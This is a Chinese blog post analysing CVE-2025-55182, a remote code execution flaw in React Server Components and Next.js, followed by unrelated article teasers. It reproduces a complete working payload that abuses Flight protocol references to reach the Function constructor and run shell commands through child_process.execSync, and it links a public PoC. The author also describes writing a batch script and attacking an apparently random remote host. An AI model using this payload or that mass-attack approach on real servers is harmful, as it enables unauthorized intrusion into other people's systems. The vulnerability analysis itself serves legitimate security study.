news 2026/7/7 21:33:11

【Web】CVE-2025-55182 原理分析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【Web】CVE-2025-55182 原理分析

目录

前置知识

漏洞分析

Part1

Part2

Part3

漏洞复现

本地复现

远程复现

其他思考


很好的语言,使你的漏洞旋转😂

前置知识

RSC

RSC(React Server Components,React 服务器组件)是一种 React 的新型组件模型,由 Meta团队提出并集成到现代 React 框架(如 Next.js)中。它的核心目标是将部分组件的渲染工作从客户端转移到服务器端,从而提升性能、减少客户端 JavaScript 包体积,并增强安全性。

从这个角度来看,很类似古老的php和jsp🤔

不再是从后端取json回前端渲染,而是后端处理后直接返回一个html界面

thenable

当你执行 resolve(x) 时,JavaScript 引擎不会直接把 x 当作最终值,而是先检查 x 是否是一个 thenable(即具有 .then 方法的对象)。如果是,就一直递归执行下去,直到没有then。

Flight协议

React Flight是一种基于 JavaScript 可序列化格式(通常是 JSON-like 的流式文本)的组件与数据传输机制,主要用于 RSC 场景下,在服务器和客户端之间高效传输 UI 结构和数据。

一些特殊引用:

$@

Chunk 引用

Promise"$@1"

$K

FormData 引用

FormData"$K1"

$B

Blob 引用

Blob"$B1"

漏洞分析

Part1

RSC根据 Content-Type(multipart/form-data 或其他)选择相应的解码器:multipart/form-data 使用 decodeReplyFromBusboy

这段代码使用 Busboy 解析 multipart 表单流(含文件和字段),将其转换为 React Flight 协议可消费的内部响应对象,并返回一个 Promise 以获取最终解析结果,用于支持 Server Actions 中的文件上传。

busboy 的事件监听器收到数据修改时就会自动触发 resoveField()

最终getChunk返回一个Chunk

关注resolveField() ,内部调用resolveModelChunk()

resolveModelChunk内部调用initializeModelChunk

来看initializeModelChunk实现

对chunk.value进行json反序列化,然后将反序列化后的值作为value传给reviveModel

调用reviveModel

调用parseModelString

其实就是根据Flight协议去对特殊符号解引用,算是某种意义上的“反序列化”

Part2

再来看Chunk.prototype.then的实现

当status为resolved_model时,调用我们熟悉的initializeModelChunk

去根据Flight协议“反序列化”,和Part1的流程一样,不赘述

Part3

来对照payload看,共涉及三次解析

payload用的:https://github.com/msanft/CVE-2025-55182

注意首先要用Next-Action去指定为Server Action请求

这里$1被指向了$@0,也就是name="0"的Chunk引用

第一次解析

{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": "$1:constructor:constructor"}}}

$1:__proto__:then被解析为Chunk.prototype.then

$1:constructor:constructor被解析为Function构造方法(理解很直观,chunk的构造方法本身是个方法,所有方法的构造方法,都是Function)

最终被解析为

{"then": Chunk.prototype.then, "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": Function}}}

第二次解析

{"then": Chunk.prototype.then, "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": Function}}}

调用Chunk.prototype.then

这里重点来看$B是怎么处理的

其实就是对传入的数从16进制转成10进制,再与prefix拼接

而传入的prefix是一段恶意代码

var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

传入的_formData.get也被污染为了Function构造方法

Function("var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});0")

解析成一个恶意匿名函数

function anonymous(){var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});0}

最终整体被解析为

{"then": function anonymous(){var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});0}, "status": "fulfilled", "reason": -1, "value": "{\"then\": function anonymous(){var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});0}}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": Function}}}

第三次解析

此时发现还有then

就去执行then里的恶意匿名函数,从而达成RCE

漏洞复现

poc:https://github.com/msanft/CVE-2025-55182

本地复现

npm create next-app@16.0.6

cd test npm run dev

搭建好的首页

远程复现

写个批量脚本

远程抓一个打一下

其他思考

其实对"then"的赋值用不用prototype/__proto__都行,因为chunk.then全局没有定义,自然会去找其原型类的then方法调用

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/7 4:04:25

基于SpringBoot的社区智能垃圾管理系统的设计与实现_m29pb8us

目录 具体实现截图项目介绍论文大纲核心代码部分展示项目运行指导结论源码获取详细视频演示 :文章底部获取博主联系方式!同行可合作 具体实现截图 本系统(程序源码数据库调试部署讲解)同时还支持java、ThinkPHP、Node.js、Spring…

作者头像 李华
网站建设 2026/7/7 1:05:08

HTML Canvas绘图:PyTorch训练过程动态可视化

HTML Canvas绘图:PyTorch训练过程动态可视化 在深度学习项目中,模型训练往往像一场漫长的“黑箱实验”——代码跑起来后,开发者只能盯着终端里不断滚动的 loss 数值,祈祷它最终收敛。但当损失曲线突然飙升、准确率停滞不前时&…

作者头像 李华
网站建设 2026/7/7 14:26:12

LobeChat能否集成PostgreSQL?结构化数据存储方案

LobeChat 与 PostgreSQL 集成:构建生产级 AI 聊天系统的数据基石 在 AI 助手逐渐从个人玩具走向企业级应用的今天,一个常被忽视但至关重要的问题浮出水面:对话数据到底该存在哪儿? 许多开源聊天界面——包括广受欢迎的 LobeChat—…

作者头像 李华
网站建设 2026/7/7 15:41:35

LobeChat支持哪些大模型?一文看懂其多模型接入能力

LobeChat的多模型接入能力解析:如何统一驾驭各类大语言模型 在AI助手应用遍地开花的今天,一个现实问题摆在开发者面前:我们手握OpenAI、通义千问、百川、GLM、Ollama上的Llama3……但每个模型都有自己的一套API规则、认证方式和调用逻辑。难道…

作者头像 李华
网站建设 2026/7/7 12:09:31

工业生产执行系统(MES)在汽车制造行业的应用案例

工业生产执行系统(MES)作为制造业数字化转型的核心枢纽,正在重塑现代工厂的生产管理模式。这一系统通过连接企业计划层与车间控制层,实现了生产过程的透明化、精细化和智能化管理。随着工业4.0时代的到来,MES系统已从可…

作者头像 李华